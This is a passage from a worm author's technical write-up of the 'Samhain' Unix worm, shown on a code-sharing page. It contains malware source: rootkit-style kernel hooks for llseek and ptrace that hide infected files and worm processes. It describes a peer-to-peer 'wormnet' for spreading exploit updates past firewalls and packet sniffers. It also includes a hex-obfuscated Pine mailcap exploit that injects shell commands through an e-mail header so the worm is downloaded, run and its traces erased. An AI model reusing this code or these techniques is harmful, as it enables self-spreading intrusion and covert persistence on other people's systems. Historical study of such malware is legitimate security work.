📄 writeworm.txt
字号:
this function gets real name of executable for current
process to buf (where cap means 'maximal length').
int set_name_and_loop_to_main(char* newname,char* newexec);
this function changes 'visible name' of process to newname
(you may select something from cmdlines[]), then changes
real executable name to 'newexec', and loops to the
beginning of main() function. PID will be NOT changed.
Set 'newexec' to NULL if you don't want to change real exec
name. Return value: non-zero on error.
Note: variables, stack and anything else will be reset. Please
use other way (pipes, files, filenames, process name) to
transfer data from old to new executable
int zero_loop(char* a0);
this function returns '1' if this main() code is reached for
the first time, or '0' if set_name_and_loop_to_main() was
used. Pass argv[0] as parameter. It simply checks if
real_exec_name is present in argv[0].
-- EOF --
For more details and source code on architecture-independent non-root
process hiding techniques, please refer libworm sources [3] (incomplete
for now, but always something).
This routines are weak and might be used only for short-term process
hiding. We should as fast as possible gain root access (again, this
aspect will be discussed later). Then, we have probably the most complex
aspect of whole worm. Advanced process hiding is highly system-dependent,
usually done by intercepting system calls. We have developed source for a
+/- universal hiding modules on some systems, but it is not working on every
platform Samhain might attack. Techniques used there are based on well-known
kernel file and process hiding modules.
Our Linux 2.0/2.1 (2.2 and 2.3 kernels weren't known at the time ;)
module used technique later described in "abtrom" article on BUGTRAQ by
<riq@CIUDAD.COM.AR> (Sat, 28 Aug 1999 14:40:31) to intercept syscalls [4].
Sebastian wrote stealth file techniques (to return original contents of
eventually infected files), while I developed process hiding and worm
interface. Module intercepted open, lseek, llseek, mmap, fstat, stat,
lstat, kill, ptrace, close, read, unlink, write and execve calls.
For example, new llseek call look this way:
int new_llseek(unsigned int fd,unsigned int offset_high,
unsigned int offset_low,int *result,unsigned int whence) {
retval=old_llseek(fd,offset_high,offset_low,result,whence);
if (retval<0) return retval;
if (!(file=current->files->fd[fd])) return retval;
if (S_ISREG(file->f_inode->i_mode) || S_ISLNK(file->f_inode->i_mode))
if (is_happy(fd) && file->f_pos < SAMLEN) file->f_pos += SAMLEN;
return retval;
}
In this case, we wanted to skip samhain code loader at the beginning
of file. is_happy() function has been used to identify infected files.
Unfortunately, it also has to check length of this loader - remember,
it's dynamically generated. This is code from is_happy() used to determine
this size from our decryptor routine:
// Determine where ELF starts...
file->f_pos=0;
BEGIN_KMEM
r=file->f_op->read(file->f_inode, file, buf,sizeof(buf));
END_KMEM
znaki=0;
while (znaki!=TH && ++v<r) if (buf[v]=='=') znaki++;
if (znaki==TH) {
while (buf[v+(++poz)]!=' ' && v+poz<r) mult=mult*10;
buf[v+poz]=0;
poz=1;
SAMLEN=0;
while (buf[v+poz]) {
if (buf[v+poz]-'0'>9) { znaki=1;break; } // Format error (!)
SAMLEN+=(buf[v+poz++]-'0')*mult;
mult=mult/10;
}
Worm isn't spreading across the filesystem widely, so the problem doesn't
affect many files - only some executables called in boot process - to
make sure we're always resident. Process hiding is quite generic:
int new_ptrace(int req,int pid,int addr,int dat) {
x=0;
buf[20]=0;
sprintf(b,"/proc/%d/cmdline",pid);
if (active)
BEGIN_KMEM
x=old_open(b,O_RDONLY,0);
END_KMEM
if (x>0) {
BEGIN_KMEM
read(x,b,1);
END_KMEM
close(x);
if (!b[0]) return -ESRCH;
}
return old_ptrace(req,pid,addr,dat);
}
Also, we have to hide active network connections for wormnet and sent /
received wormnet packets to avoid detection via tcpdump, sniffit etc.
That's it, nothing uncommon. Similar code has been written for some other
platforms. See my AFHaRM or Sebastian's Adore modules for implementation
of stealth techniques [5].
0x03: Independence + 0x04: Learning
-----------------------------------------------------------------------------
Wormnet. The magic word. Wormnet is used to distribute upgraded Samhain
modules (eg. new exploit plugins), and to query other worms for compiled
binaries. Communication scheme isn't really difficult, using TCP streams
and broadcast messages within TCP streams. Connections are persistent.
We have four types of requests:
- infection confirmation: done simply by connecting to parent worm
if infection succeded (no connection == failure),
- update request: done by re-infecting system (in this case, already installed
worm verifies signature on new worm when receiving request, then swaps
process image by doing execve() if requesting binary has newer timestamp),
then inheriting wormnet connections table and sending short request to
connected clients, containing code timestamp.
- update confirmation: if timestamp sent on update request is newer than
timestamp of currently running worm, it should respond with 'confirmation',
then download new code via the same tcp stream; then, it should verify
code signature, and eventually swap it's process image with new exec, then
send update request to connected worms.
- platform request: by sending request to every connected worm (TTL
mechanism is in use) describing machine type, system type and system
release, as well as IP and port specification; this request is sent
(with decreased TTL) to other connected wormnet objects, causing
wormnet broadcast; first worm that can provide specific binary, should
respond connecting to given IP and port, and worm that sent platform
request should accept it (once). Any futher connects() (might happen
till TTL expiration) should be refused. After connecting, suitable
binary should be sent, then passed to infection routines. Worm should
try first with TTL approx 5, then, on failure, might increase it by 5
and retry 3-5 times, we haven't idea about optimal values.
Packets are "crypted" (again, nothing really strong, security by obscurity)
with key assigned to specific connection (derived from parent IP address
passed on infection). Type is described by one-byte field, then followed by
size field and RAW data or null-terminated strings, eventually with
TTL/timestamp fields (depending on type of message).
Wormnet connections structure looks arbitrary and is limited only
by max per-worm connections limit. Connections are initiated from child to
parent worm, usually bypassing firewall and masquerading software.
On infection, short 'wormnet history' list is passed to child. If parent
has too many wormnet connections at time, and refuses new connection,
child should connect to worm from the history list.
3
|
|
3 ----- 2 ---- 3 ----- 4 ------- 5 ------- 6
| / | |
| / | |
| / | | Possible wormnet structure.
1 ------------ 2 ----- 3 6 Numbers represent infection
\ / order. Bottom "3" couldn't
\ / for some reason connect to
\ / it's parent and choosen
\ ---- 3 ------ 4 "1" from 'history list'.
|
|
|
4
What about exploits? Exploits are modular (plugged into worm body), and
divided in two sections - local and remote. We wanted to be platform
independent, so we focused on filesystem races, bugs like -xkbdir hole in
Xwindows, and inserted just a few buffer overflows, mainly for remote
intrusion (but we decided to incorporate some bugs like remote pine mailcap
exploit and so on... Code was kind of shell-quoting masterpiece ;)
Pine mailcap exploit (it has been already fixed after my BUGTRAQ post,
but in late 1998 it was something new and nice):
fprintf(f,"From: \"%s\" <%s@%s>\n",nam,us,buf2);
fprintf(f,"To: <root@%s>\n",hostname);
fprintf(f,"Subject: %s\n",top);
fprintf(f,"MIME-Version: 1.0\n");
fprintf(f,"Content-Type: multipart/mixed;\n");
fprintf(f,"\tboundary=\"----=_NextPart_000_0007_01BD5F09.B6797740\"\n\n");
fprintf(f,"------=_NextPart_000_0007_01BD5F09.B6797740\n");
fprintf(f,"Content-Type: default/text;\n\t");
fprintf(f,"\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x5c\x5c\x5c\x22\x78\x5c"
"\x5c\x5c\x22\x5c\x20\x3d\x3d\x5c\x20\x5c\x5c\x5c\x22\x78\x5c\x5c"
"\x5c\x22\x5c\x20\x5c\x29\x5c\x20\x73\x68\x5c\x20\x2d\x63\x5c\x20"
"\x65\x63\x68\x6f\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x66\x6f\x72"
"\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x69\x5c\x24\x5c\x49\x46\x53"
"\x5c\x5c\x5c\x69\x6e\x5c\x24\x5c\x49\x46\x53\x5c\x60\x6c\x73\x5c"
"\x24\x49\x46\x53\x2f\x74\x6d\x70\x2f\x5c\x60\x5c\x24\x5c\x49\x46"
"\x53\x5c\x5c\x5c\x3b\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x64\x6f"
"\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x73\x68\x5c\x24\x5c\x49\x46"
"\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x5c\x5c\x5c\x24\x69\x5c\x24"
"\x5c\x49\x46\x53\x5c\x5c\x5c\x3b\x64\x6f\x6e\x65\x26\x3e\x2f\x74"
"\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x3b\x5c\x73\x68\x5c\x24\x49\x46"
"\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x22\x0A");
// 'encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ sh\ -c\ echo\$\IFS\\\for'
// '\$\IFS\\\i\$\IFS\\\in\$\IFS\`ls\$IFS/tmp/\`\$\IFS\\\;\$\IFS\\\do'
// '\$\IFS\\\sh\$\IFS\\\/tmp/\\\$i\$\IFS\\\;done&>/tmp/.KEWL;\sh\$IF'
// 'S\\\/tmp/.KEWL"'
Message body contained code to be executed (shell-script to connect,
download and run worm, then kill any evidence). Yes, this exploit sucks
- as it required some kind of user interaction (reading e-mail), but
is just an example.
Both remote and local exploits are sorted by effectiveness. Exploits that
succed most of the time are tried first. Less effective ones are moved
at the end. This list is inherited by child worms.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -